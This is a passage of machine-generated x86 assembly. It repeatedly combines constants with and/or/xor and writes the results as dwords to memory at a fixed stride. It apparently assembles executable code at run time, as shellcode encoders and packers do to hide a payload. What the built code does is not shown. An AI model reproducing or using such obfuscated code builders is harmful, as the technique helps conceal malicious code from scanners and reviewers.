and eax, 0x25040d2b
or eax, 0x58804010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c022345
and eax, 0x10040a2e
or eax, 0xe4518101
mov dword [ebx], eax
add ebx, edx
and eax, 0x25ebb126
and eax, 0x24400122
or eax, 0x58b05419
mov dword [ebx], eax
add ebx, edx
and eax, 0x54051d98
and eax, 0x50000118
or eax, 0x80458a06
mov dword [ebx], eax
add ebx, edx
or eax, 0x2681074d
and eax, 0x32c40503
or eax, 0x9204000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a82a096
and eax, 0x12000000
or eax, 0x17cb445
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dc51958
and eax, 0x1000000
or eax, 0x32b84d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x59a95ef
xor eax, 0x51202368
and eax, 0x410cc05
or eax, 0x10640048
mov dword [ebx], eax
add ebx, edx
or eax, 0x50addd53
or eax, 0x3e85cca3
and eax, 0x2adc558b
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x37296540
and eax, 0x15395041
or eax, 0x40028814
mov dword [ebx], eax
add ebx, edx
and eax, 0x37a64539
or eax, 0x37632e14
and eax, 0x3016c04
or eax, 0x880811c0
mov dword [ebx], eax
add ebx, edx
or eax, 0xc9870e
and eax, 0x2acd7436
and eax, 0x8815404
or eax, 0xe0028041
mov dword [ebx], eax
add ebx, edx
or eax, 0x5caa683d
xor eax, 0x3b96815d
and eax, 0xc4050900
or eax, 0x10408001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4900d4ec
xor eax, 0x4d558539
and eax, 0x80004880
or eax, 0x3e4050b
mov dword [ebx], eax
add ebx, edx
and eax, 0x3cf0a1f
and eax, 0x1800009
or eax, 0x4c0901e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x25c7459a
and eax, 0xf7ed2aa
and eax, 0x80
or eax, 0xb8558b64
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b0d5f64
and eax, 0x38000100
or eax, 0x3c8540b
mov dword [ebx], eax
add ebx, edx
or eax, 0x177c12e8
or eax, 0xb446d02
and eax, 0x337c3441
or eax, 0x8014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f83f828
and eax, 0x4ec95bf5
and eax, 0x8c04001
or eax, 0x3334058a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77cda5c0
xor eax, 0xf8c00f1
and eax, 0x335c000
or eax, 0x20480c45
mov dword [ebx], eax
add ebx, edx
and eax, 0x75f6c9d
and eax, 0x1504c01
or eax, 0x88a0018a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x168c4a74
and eax, 0x556697b3
and eax, 0x15000001
or eax, 0x408b804c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bf18b0f
xor eax, 0x5e126dff
and eax, 0x700000a4
or eax, 0xc958940
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b62f999
and eax, 0x3f7707d
or eax, 0x88088f82
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a8901be
xor eax, 0x28a6f731
and eax, 0x2003f005
or eax, 0xc8800040
mov dword [ebx], eax
add ebx, edx
and eax, 0x642e619c
and eax, 0x60000000
or eax, 0x90458901
mov dword [ebx], eax
add ebx, edx
or eax, 0x37b7b67d
xor eax, 0xe9b9cda
and eax, 0x39000183
or eax, 0x2804c08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15eca371
and eax, 0x2e6c6c88
or eax, 0xd1931005
mov dword [ebx], eax
add ebx, edx
and eax, 0x48cd3353
and eax, 0x8083001
or eax, 0x83004cfe
mov dword [ebx], eax
add ebx, edx
and eax, 0x11ae33f0
and eax, 0x59b56f36
and eax, 0x1002010
or eax, 0x5403d845
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ac37042
and eax, 0x3d0d28e6
and eax, 0x9012044
or eax, 0x820854a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d8604f0
and eax, 0xa8835044
or eax, 0x40008001
mov dword [ebx], eax
add ebx, edx
or eax, 0x515dbe22
xor eax, 0x22a1d499
and eax, 0xd0440800
or eax, 0x18101
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ab1ec23
and eax, 0x846d8fd
and eax, 1
or eax, 0xffff04e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x44e45345
xor eax, 0x2725a989
and eax, 0x4341a9c8
or eax, 0x183c1037
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2dea0c41
and eax, 0x44030000
or eax, 0x9280000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ccd5a48
and eax, 0x4010000
or eax, 0x31f0810c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48ab4d7c
and eax, 0x385acc40
or eax, 0x82a5338b
mov dword [ebx], eax
add ebx, edx
and eax, 0x337e9db3
and eax, 0x8981
or eax, 0x6260
mov dword [ebx], eax
add ebx, edx
or eax, 0x598f0bb7
and eax, 0x10c4123
or eax, 0x80101408
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b2168bb
and eax, 0x4022
or eax, 0x8493c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x28754ef4
and eax, 0xf08100
or eax, 0xc4020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7694f530
or eax, 0x7f9d5673
and eax, 0x88000000
or eax, 0x84
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bfec5bf
and eax, 0x27ac2d4c
and eax, 0
or eax, 0x1df88a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5896de74
or eax, 0x3716e71a
and eax, 0x1c058300
or eax, 0x400800
mov dword [ebx], eax
add ebx, edx
or eax, 0x1165e255
and eax, 0x242005
or eax, 0x81008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a1a4e08
or eax, 0x51345be2
and eax, 0x58243500
or eax, 0x4c00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6727325e
xor eax, 0x440878a
and eax, 0xf010000
or eax, 0x40240000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf2df97e
and eax, 8
or eax, 0x35000080
mov dword [ebx], eax
add ebx, edx
and eax, 0x47420b1a
or eax, 0x6fa0670b
and eax, 0
or eax, 0x8024
mov dword [ebx], eax
add ebx, edx
and eax, 0x382817dc
or eax, 0x24d1b622
and eax, 0x1b020
or eax, 0x2e0099
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d1b28e1
and eax, 0x74d305d7
and eax, 0
or eax, 0x84d2b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b1fe2f1
xor eax, 0x8a300fa
and eax, 0x41a1c101
or eax, 0x4023080
mov dword [ebx], eax
add ebx, edx
and eax, 0x7898410
xor eax, 0x4d7831b1
and eax, 0x40810000
or eax, 0xb1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x28bd6d6
and eax, 0
or eax, 0x469b
mov dword [ebx], eax
add ebx, edx
or eax, 0x275fccae
xor eax, 0x4ac87082
and eax, 0xd908008
or eax, 0x10680180
mov dword [ebx], eax
add ebx, edx
or eax, 0x489c1594
or eax, 0x52450951
and eax, 0x55890000
or eax, 0x20000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eff2190
and eax, 0x78f20100
or eax, 0x800c
mov dword [ebx], eax
add ebx, edx
and eax, 0x748f5965
or eax, 0x233611f4
and eax, 0x1000020
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a35290b
and eax, 0x30000a
or eax, 0x80c4c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d699a6b
or eax, 0x5fa38269
and eax, 0x17f28000
or eax, 0xa0000100
mov dword [ebx], eax
add ebx, edx
and eax, 0x14279af7
and eax, 0
or eax, 0x8b0000b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3158ca5c
and eax, 0x1a100844
or eax, 0x44251001
mov dword [ebx], eax
add ebx, edx
or eax, 0x30c36899
and eax, 0x22feb8cd
and eax, 0x20000009
or eax, 0xd000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b603502
and eax, 0
or eax, 0xb39
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c8c259c
or eax, 0x3f204732
and eax, 0xac4735
or eax, 0x421000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4592e59c
and eax, 0x800000
or eax, 0xf8108800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ed0caf7
or eax, 0x3c57f193
and eax, 0x8a000015
or eax, 0x1000008
mov dword [ebx], eax
add ebx, edx
or eax, 0x355e8a80
and eax, 0x2a145c50
and eax, 0x8100000
or eax, 0x452bd44d
mov dword [ebx], eax
add ebx, edx
or eax, 0x45c18b99
and eax, 0x9285cc0
or eax, 0x82042020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44d9a501
and eax, 0xc281c841
or eax, 0x22014
mov dword [ebx], eax
add ebx, edx
or eax, 0x556591ed
or eax, 0x14d5b60
and eax, 0xc0458901
or eax, 0x28100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cff6092
or eax, 0x71e6e6a1
and eax, 0x21e84583
or eax, 0x2000008
mov dword [ebx], eax
add ebx, edx
or eax, 0x24370ed2
or eax, 0x348c0e5
and eax, 0x375cc45
or eax, 0x18002000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ca7d57d
or eax, 0x1be81487
and eax, 0xff80d8b
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ed90f83
and eax, 0x4c80d83
or eax, 0x8100402c
mov dword [ebx], eax
add ebx, edx
or eax, 0xb52a7bb
and eax, 0x8b106589
or eax, 0x1040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54c22649
and eax, 0x55125000
or eax, 0x29a055
mov dword [ebx], eax
add ebx, edx
or eax, 0x311e7036
and eax, 0x1397034
or eax, 0x8a000d80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74f06174
or eax, 0x41d57e35
and eax, 0x45196445
or eax, 0x228000
mov dword [ebx], eax
add ebx, edx
or eax, 0x701fbec1
and eax, 0x72e75b1d
and eax, 0x215804
or eax, 0x8b1025b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x34f7a621
and eax, 0xd33b00d
or eax, 0x40080040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c6db3d8
and eax, 0x41000194
or eax, 0x86097c40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76199728
or eax, 0x4f94d997
and eax, 0xa845
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
or eax, 0x435f058e
and eax, 0x45ab67b7
and eax, 0x10b0000
or eax, 0x6e00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b1e0f70
and eax, 0xa00540
or eax, 0x84087
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e8b8d01
and eax, 0xa000000
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ecdc386
or eax, 0x5fae6fe6
and eax, 0x5523e844
or eax, 0x101011
mov dword [ebx], eax
add ebx, edx
and eax, 0x5949b297
and eax, 0x1013000
or eax, 0x8a1044a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c3025ed
and eax, 0x100000
or eax, 0x452bc045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a93c086
xor eax, 0x2e317f8
and eax, 0x9091518
or eax, 0x820068c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56f41258
and eax, 0xc9816404
or eax, 0x20028049
mov dword [ebx], eax
add ebx, edx
or eax, 0x54539d11
and eax, 0xe4418901
or eax, 0xc0000
mov dword [ebx], eax
add ebx, edx
and eax, 0xb6dd2e
and eax, 0x44911778
and eax, 0x100
or eax, 0x8108548b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e29f8a2
or eax, 0x7d53fc8c
and eax, 0x493882
or eax, 0x140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ae06291
and eax, 0x4aa00100
or eax, 0xa5428000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f7e02b0
or eax, 0x378ac226
and eax, 0x1000006
or eax, 0x800000c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x5aa30de
or eax, 0x78a38a83
and eax, 0x812c2
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27dabb5b
and eax, 0x5d28000
or eax, 0xc8200100
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f5a7584
and eax, 0x4afc2146
and eax, 0x8000000
or eax, 0x8300004c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f9dead3
and eax, 0x54304d1e
and eax, 0
or eax, 0x5b051445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a8fa815
and eax, 0x6e47b11d
and eax, 0x20000000
or eax, 0x1500014d
mov dword [ebx], eax
add ebx, edx
and eax, 0x709b13e8
and eax, 0x3403273b
and eax, 8
or eax, 0x198e6
mov dword [ebx], eax
add ebx, edx
or eax, 0x785d012a
xor eax, 0x638355f6
and eax, 0x19d88008
or eax, 0x4201080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46f9b92a
or eax, 0x7c047ad3
and eax, 0x4d010000
or eax, 0x8a0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d6dd55
or eax, 0x59a9aac6
and eax, 0x40c98110
or eax, 8
mov dword [ebx], eax
add ebx, edx
or eax, 0x2df62e6c
and eax, 0x63f78f51
and eax, 0x1000000
or eax, 0x80000082
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ddd9065
or eax, 0x192a9cb3
and eax, 0xd204f1
or eax, 0x6000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fd5b50e
and eax, 0x1a6ba
and eax, 0x8000
or eax, 0xcfe23a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x57f1f760
and eax, 0x45200000
or eax, 0x100b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c53a2dc
and eax, 0x20000
or eax, 0xbbf0810c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fad2a5c
and eax, 0x456b7f0a
and eax, 8
or eax, 0x88000037
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31d60c9
and eax, 0x1d6082
or eax, 0x9808
mov dword [ebx], eax
add ebx, edx
or eax, 0xf316598
and eax, 0x363d47e4
and eax, 0x4050100
or eax, 0xe8408a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cbc7bd2
and eax, 0x8001c082
or eax, 0x9000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f53aeea
or eax, 0x58748117
and eax, 0x4e60ec45
or eax, 0x880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x51331e88
and eax, 0xb000088
or eax, 0x80000022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ccf4083
and eax, 0x81814009
or eax, 0x6800bc44
mov dword [ebx], eax
add ebx, edx
or eax, 0x22fbce7
and eax, 0x2cab
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
and eax, 0x3505845f
xor eax, 0x2c717c28
and eax, 0x8704801
or eax, 0x838c0588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74c2102c
and eax, 0x552a5c05
or eax, 0x18050
mov dword [ebx], eax
add ebx, edx
or eax, 0x694c4749
and eax, 0x5c45895c
or eax, 0x801000a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e23e3bc
and eax, 0x20840
or eax, 0x458901ab
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e479306
and eax, 0x1c082cc
or eax, 0x110
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6bef08bf
or eax, 0x51c9dd3d
and eax, 0xbcc4509
or eax, 0x80100080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20b84c0
and eax, 0x913c049
or eax, 0x44281c04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x383abf3f
and eax, 0x4010340
or eax, 0x8c0c88
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a6dae07
and eax, 0
or eax, 0x8b000002
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b8767f0
and eax, 0xca836050
or eax, 0x20009805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65ef2214
and eax, 0x88448801
or eax, 0x70110100
mov dword [ebx], eax
add ebx, edx
or eax, 0x22b3e505
and eax, 0x82e04501
or eax, 0x108008a
mov dword [ebx], eax
add ebx, edx
or eax, 0x831c50f
and eax, 0x1890180
or eax, 0x44000040
mov dword [ebx], eax
add ebx, edx
or eax, 0x26710f3e
and eax, 0x5f952240
and eax, 0x40010240
or eax, 0xa84c89a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x28f61cb
and eax, 0x79a55018
and eax, 0x68804008
or eax, 0x15780d33
mov dword [ebx], eax
add ebx, edx
xor eax, 0x308e3245
and eax, 0x44540b30
or eax, 0xa0018001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e46b469
or eax, 0x670dd3b2
and eax, 0x65005133
or eax, 0x18b00408
mov dword [ebx], eax
add ebx, edx
and eax, 0x29e855b7
and eax, 0x20004501
or eax, 0x84458208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x633fbb5e
and eax, 0x54818904
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x148f4c93
and eax, 0x4870483
or eax, 0x41400368
mov dword [ebx], eax
add ebx, edx
or eax, 0x2babd861
and eax, 0xa0
or eax, 4
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b2633e4
and eax, 0x20040300
or eax, 0xc0418800
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e61736d
or eax, 0x68708e99
and eax, 0x60200501
or eax, 0x14844022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a37e5f3
and eax, 0x34a2af14
and eax, 0x4008010
or eax, 0xc04d0b01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ec094d9
and eax, 0x608c0d08
or eax, 0x14304003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a5a616c
or eax, 0x494a74a6
and eax, 0x6c440801
or eax, 0x80118308
mov dword [ebx], eax
add ebx, edx
or eax, 0x2bf89a3a
and eax, 0x89018203
or eax, 0x4080
mov dword [ebx], eax
add ebx, edx
or eax, 0x62b3a30a
and eax, 0x4183e001
or eax, 0x4080c54
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60e15ad5
or eax, 0x2a8dd00b
and eax, 0x1c08288
or eax, 0x164
mov dword [ebx], eax
add ebx, edx
or eax, 0xb3454ca
and eax, 0xbe44588
or eax, 0x80080001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3aa3b6fa
and eax, 0x26bfdde9
and eax, 0x200008
or eax, 0x4d0bf845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e8a96e6
or eax, 0x443d33cb
and eax, 0x740d3be0
or eax, 0x88400010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fb5990d
xor eax, 0x25f6a509
and eax, 0x440a0574
or eax, 0x11814008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ba85e65
or eax, 0x784d700
and eax, 0xc050b08
or eax, 0xb05020c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x510e6e4c
or eax, 0x24514cd9
and eax, 0x34444419
or eax, 0x49a81122
mov dword [ebx], eax
add ebx, edx
xor eax, 0x796a08e6
xor eax, 0x31d0054e
and eax, 0x34440812
or eax, 0xc0018320
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79e50a2c
and eax, 0x89008002
or eax, 0x14081
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dd35e67
xor eax, 0x37fbc08e
and eax, 0x41095440
or eax, 0xc82a005
mov dword [ebx], eax
add ebx, edx
and eax, 0x7bc56522
and eax, 0x55431ceb
and eax, 0x40010000
or eax, 0x388c89f4
mov dword [ebx], eax
add ebx, edx
or eax, 0x34720b92
and eax, 0x8ff8bf6
or eax, 0x83007409
mov dword [ebx], eax
add ebx, edx
or eax, 0x7204d3c2
and eax, 0x9189e055
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x81ebf1b
and eax, 0x9d975f44
or eax, 0x6268a030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e2d181b
and eax, 0x117a46c1
and eax, 0x1404401
or eax, 0x82a0018a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3004138a
or eax, 0x59206b5b
and eax, 0x418001c8
or eax, 0x4090020
mov dword [ebx], eax
add ebx, edx
or eax, 0x2139774d
or eax, 0x544e9d08
and eax, 0x708d8be0
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1107b5b5
and eax, 0x298a3e55
or eax, 0x1275c1aa
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61e19870
and eax, 0x5a1e648d
or eax, 0xa5e11000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19fc5f10
and eax, 0x9ce66ac
and eax, 0x208c
or eax, 0x8b085c73
mov dword [ebx], eax
add ebx, edx
xor eax, 0x465e6db3
and eax, 0x45120044
or eax, 0x1029ec11
mov dword [ebx], eax
add ebx, edx
or eax, 0x33e39a43
and eax, 0x3097c14
or eax, 0x880001a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1524b542
and eax, 0x3000
or eax, 0xc083c845
mov dword [ebx], eax
add ebx, edx
or eax, 0x29da012f
or eax, 0x2be264d3
and eax, 0xe8418901
or eax, 0x10040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x435d25f
and eax, 0x3830490a
or eax, 0x38c0481
mov dword [ebx], eax
add ebx, edx
xor eax, 0x98712f8
and eax, 0x385441
or eax, 0x844a00c
mov dword [ebx], eax
add ebx, edx
or eax, 0x24217adc
or eax, 0x4a3a69f5
and eax, 0x22385589
or eax, 0x11800002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2869ce3e
or eax, 0x157ece18
and eax, 0x1a74d015
or eax, 0x2040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x420a6602
and eax, 0x78efc2cb
and eax, 0x600003
or eax, 0x83804588
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f320927
and eax, 0x1930336b
and eax, 0x1000100
or eax, 0x448900c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c76e293
and eax, 0x80
or eax, 0xf04d8b60
mov dword [ebx], eax
add ebx, edx
xor eax, 0x655fc22e
and eax, 0x1500490a
or eax, 0x68e00431
mov dword [ebx], eax
add ebx, edx
xor eax, 0xccb4054
xor eax, 0x63d0125e
and eax, 0x10510b01
or eax, 0xe8048008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28c74116
or eax, 0x4184461f
and eax, 0x8100c203
or eax, 0x8010080
mov dword [ebx], eax
add ebx, edx
or eax, 0x78efb801
and eax, 0x418bf801
or eax, 0x4000054
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d3b9379
and eax, 0x27c3686f
and eax, 0x1000040
or eax, 0xc083bc
mov dword [ebx], eax
add ebx, edx
and eax, 0x3532421a
xor eax, 0x38369220
and eax, 0x9340008
or eax, 0x82c84581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28d5f13c
and eax, 0x4e1d34a5
and eax, 0x92005
or eax, 0x4d32c848
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42737c0a
or eax, 0x274224b2
and eax, 0x70834f0
or eax, 0xc0014900
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f638242
and eax, 0x49d0dc33
and eax, 0x8000
or eax, 0x12045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6861cee7
and eax, 0x21d81138
and eax, 0x400000
or eax, 0x7ab0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x141faa96
and eax, 0
or eax, 0xa045c7
mov dword [ebx], eax
add ebx, edx
and eax, 0xa4d00c4
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x973d97b
or eax, 0x1e4af578
and eax, 0x150bb451
or eax, 0x40000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x6901eb8d
and eax, 0x1002000
or eax, 0x8a0c55a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22227eae
and eax, 0xa90e0804
or eax, 0x601e441
mov dword [ebx], eax
add ebx, edx
xor eax, 0x247105ef
and eax, 0x13ae000
or eax, 0x44011445
mov dword [ebx], eax
add ebx, edx
or eax, 0xa5f5fc6
and eax, 0x6b4a0c88
and eax, 0xb4a0c80
or eax, 0x80117160
mov dword [ebx], eax
add ebx, edx
and eax, 0x165d158c
xor eax, 0x4daca42d
and eax, 0x4d01b00d
or eax, 0x20c40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x696b7da5
or eax, 0x77137166
and eax, 0x444931c0
or eax, 0x80040a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c5edbde
or eax, 0x748734b3
and eax, 0x548b0770
or eax, 0x100400c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b816bc3
and eax, 0x14000894
or eax, 0xe0550340
mov dword [ebx], eax
add ebx, edx
or eax, 0x20c8b4ef
xor eax, 0x3d67d122
and eax, 0x49984419
or eax, 0x34401122
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ca58fd1
and eax, 0x1d7ef577
and eax, 0x18448121
or eax, 0xc0010a08
mov dword [ebx], eax
add ebx, edx
or eax, 0x504b8b6c
and eax, 0xd8408109
or eax, 0x27300480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6907d640
and eax, 0x40353c9
or eax, 0x4988ac36
mov dword [ebx], eax
add ebx, edx
or eax, 0x732eab08
and eax, 0x6c8d89e4
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f333dc1
and eax, 0xbbfbde5
or eax, 0x8040421a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70ae7c1b
and eax, 0x266f580c
and eax, 0x22010004
or eax, 0xc882e451
mov dword [ebx], eax
add ebx, edx
xor eax, 0x678f04c8
or eax, 0x5920c3ee
and eax, 0xc4048101
or eax, 0x20510800
mov dword [ebx], eax
add ebx, edx
and eax, 0x7375f58b
and eax, 0x60508101
or eax, 0x9f20048a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66578466
and eax, 0x812301ed
or eax, 0x418fe12
mov dword [ebx], eax
add ebx, edx
or eax, 0xd6c0ad3
and eax, 0x35994015
and eax, 0x5194004
or eax, 0xfae6bf68
mov dword [ebx], eax
add ebx, edx
or eax, 0x28d0eb0
and eax, 0xbfa6e0a
and eax, 0x98a0208
or eax, 0x44011174
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ac98e91
or eax, 0x48af4bc3
and eax, 0x404d0be0
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ad2fd0c
xor eax, 0x769ce691
and eax, 0x14880b11
or eax, 0x41030064
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28d494bb
and eax, 0x685503cc
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x276366ee
and eax, 0x7b86949e
and eax, 0x49000402
or eax, 0x34f05139
mov dword [ebx], eax
add ebx, edx
and eax, 0x486b30fc
xor eax, 0x53c0ac7e
and eax, 0x8800
or eax, 0xc4450309
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ee55267
and eax, 0x8801c803
or eax, 0x1002080
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dda4a6f
xor eax, 0x23f2be2e
and eax, 0x4c094441
or eax, 0x1828004
mov dword [ebx], eax
add ebx, edx
or eax, 0x6053d840
or eax, 0x9e0b4ac
and eax, 0x1e980a4
or eax, 0x310
mov dword [ebx], eax
add ebx, edx
and eax, 0x4632283b
or eax, 0x7486b3b
and eax, 0x3204909
or eax, 0x88940480
mov dword [ebx], eax
add ebx, edx
and eax, 0x40c683e0
or eax, 0x6dd04c02
and eax, 0x45100400
or eax, 0x102bb055
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2eb043d4
and eax, 0xb087480
or eax, 0x80140860
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20382afd
and eax, 0x128c2a36
and eax, 4
or eax, 0x453bcc41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x353efd1e
xor eax, 0x5e12d1bd
and eax, 0xa1560e4
or eax, 0x81081d08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x309a95a1
and eax, 0xa983e84d
or eax, 0x40001000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x170c38de
and eax, 0xf80d8001
or eax, 0x400900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27e73d90
and eax, 0xba01481
or eax, 0x2050410a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16fc2c45
xor eax, 0x302ba6bb
and eax, 0x523d855
or eax, 0x50182000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b3eab52
xor eax, 0x71fa56e6
and eax, 0x7cb4
or eax, 0x8b090108
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a1b6592
and eax, 0x16000
or eax, 0xc0828845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x588c1dab
and eax, 0x88058100
or eax, 0x60400801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ec5c30e
and eax, 0x3280480b
or eax, 0x9600580
mov dword [ebx], eax
add ebx, edx
or eax, 0x5858c97e
or eax, 0x156111c7
and eax, 0x5178984d
or eax, 0x42000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10fa6b3a
xor eax, 0x7b90d1cd
and eax, 0xa00008a
or eax, 0x5c05501
mov dword [ebx], eax
add ebx, edx
and eax, 0x788631c0
and eax, 0x8801180
or eax, 0x333c442f
mov dword [ebx], eax
add ebx, edx
and eax, 0x52a170f0
and eax, 0x2204000
or eax, 0x4c5d8c55
mov dword [ebx], eax
add ebx, edx
and eax, 0x684166
and eax, 0x684000
or eax, 0x3b84058b
